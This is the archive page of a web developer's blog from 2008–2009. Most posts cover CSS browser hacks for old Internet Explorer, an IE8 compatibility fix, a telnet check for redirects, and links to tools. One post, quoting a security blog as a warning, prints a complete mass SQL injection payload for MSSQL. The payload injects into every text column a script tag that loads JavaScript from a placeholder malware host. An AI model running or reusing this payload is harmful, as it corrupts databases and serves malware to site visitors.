Latest Headlines on OCRegister.com
[x] Close
Web Dev Stuff, Freedom Stuff ~ Stuff for Freedom Web Developers

Archive for the 'Hacks' Category

IEBlog : Site Compatibility and IE8

March 20th, 2009, 1:43 pm by Clay

IEBlog : Site Compatibility and IE8

Here're a couple of methods for coding to IE8 (new hacks! d'oh!):

Initial CSS Property Values

Unset properties on the currentStyle object now return their initial value. Relying on the old initial values for CSS properties such as z-index can cause problems. This is the root cause of issues with the ASP.NET menu control. SOLUTION: Perform a check for both the backwards compatible value and the standardized initial value.
var zIndex = elm.currentStyle.zIndex;
if(zIndex == 0) {
// custom code
}
var zIndex = elm.currentStyle.zIndex;
if(zIndex == 0 || zIndex == "auto") {
// custom code
}

Tutorials - Servers > Telnet as a Diagnostic Aid

February 16th, 2009, 4:28 pm by Clay

I don't know about you, but I can use a reefresher now and again for things like surfing with Telnet to determine if 301 re-directs work...

In a nutshell, you'll want something like this:

telnet eastvalley.freedomblogging.com 80[cr]
Trying 69.25.233.100...
Connected to eastvalley.freedomblogging.com.
Escape character is '^]'.
HEAD / HTTP/1.1[cr]
Host: eastvalley.freedomblogging.com[cr]
[cr]

Note: italic items are sent by the server, whilst non-italic items are typed. Also NOTE the double carriage return ([cr]) at the end.

Tutorials - Servers > Telnet as a Diagnostic Aid

Hacking IE CSS: Underscore, Box Model 'Voice Family', & Star hacks

December 18th, 2008, 9:43 am by Clay

CSS Hacks

Underscore Hack

/* CSS hack for IE 6 and below */
.test {
  position: fixed;
  _position: absolute;
}

Voice Family (Box Family or Tantek Hack)

/* CSS hack for IE 5.x */
.test {
  width: 500px;
  padding: 50px;
  voice-family: "\"}\"";
  voice-family: inherit;
  width: 400px;
}
html>body .test{
 width: 400px;
}

Backslash Hack

/* CSS hack for IE 5.5 and below */

.test {
  height: 500px;
  he\ight: 400px;
}

Commented Backslash Hack

/* begin hiding from IE5 Mac \*/
.test {
  color: red;
}
/* end */

And then there's:

/* apply ONLY to IE5 Mac \*//*/
.test {
  color: red;
}
/* end */

High Pass Filter

/* CSS hack hides from browser which don't support @import */
  @import "null.css?\"\{";
  @import "highpass.css";



Freedom Intranet - Widgets

October 30th, 2008, 1:59 pm by Clay

Kevin's FreedomNet Search Widget

Freedom Intranet - Widgets

Freedom Intranet - Widgets

October 30th, 2008, 1:59 pm by Clay

Kevin's FreedomNet Search Widget

Freedom Intranet - Widgets

Farbtastic: jQuery color picker plug-in | Steven Wittens - Acko.net

September 5th, 2008, 8:32 am by Clay

Farbtastic Color Picker widgetFarbtastic is a jQuery plug-in that can add one or more color picker widgets into a page through JavaScript. Each widget is then linked to an existing element (e.g. a text field) and will update the element's value when a color is selected.

Download Farbtastic 1.2 - 8 January 2007 (License: GPL).

Farbtastic: jQuery color picker plug-in | Steven Wittens - Acko.net

Javascript Format and Colour

September 4th, 2008, 8:58 am by Clay

Javascript Format and Colour

This is a nifty tool to format JavaScript that has been mini-fied. Very nifty for reading JavaScript (although it doesn't get your function names back, if they've been obfuscated...).

TrustedSource - Blog - New SQL Injection Attack Infecting Machines

August 12th, 2008, 1:32 pm by Clay

Here's a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource - Blog - New SQL Injection Attack Infecting Machines

Workarounds, Filters, and Hacks – SitePoint CSS Reference

August 8th, 2008, 3:06 pm by Clay

Here's an interesting site for CSS hacks and workarounds...

Workarounds, Filters, and Hacks – SitePoint CSS Reference

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

June 24th, 2008, 4:56 pm by Clay

Here's a nice discussion on how to improve Mac OS X Security. It contains some dreams about what Mac OS X 10.6 Snow Leopard will bring.

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com